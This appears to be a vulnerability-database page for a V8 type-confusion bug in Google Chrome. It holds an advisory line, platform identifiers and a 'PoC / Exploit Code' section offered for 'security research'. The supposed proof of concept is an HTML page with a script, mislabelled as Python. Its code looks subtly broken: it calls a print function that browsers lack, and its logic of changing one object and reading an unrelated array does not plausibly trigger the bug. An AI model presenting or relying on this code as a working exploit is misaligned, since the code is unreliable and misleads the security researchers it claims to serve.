Type Confusion in V8 in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.153
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC Concept for CVE-2026-4457 (V8 Type Confusion)
This script demonstrates the logic to trigger a type confusion bug.
-->
<html>
<body>
<script>
// Vulnerability trigger logic
function trigger_vuln() {
// Step 1: Prepare objects to confuse the compiler
let leak_obj = {a: 1.1};
let victim_array = [1.1, 2.2, 3.3];
// Step 2: JIT Compilation phase
// Warm up the function to trigger optimization
for (let i = 0; i < 10000; i++) {
leak_obj.a = 1.1;
victim_array[0] = 1.1;
}
// Step 3: Type transition
// Change the type of leak_obj unexpectedly
leak_obj.a = "string_type_change";
// Step 4: Access corrupted memory
// The compiler assumes victim_array[0] is still a double,
// but the heap layout might be corrupted.
print("[+] Triggering type confusion...");
let val = victim_array[0];
print(val);
}
trigger_vuln();
</script>
</body>
</html>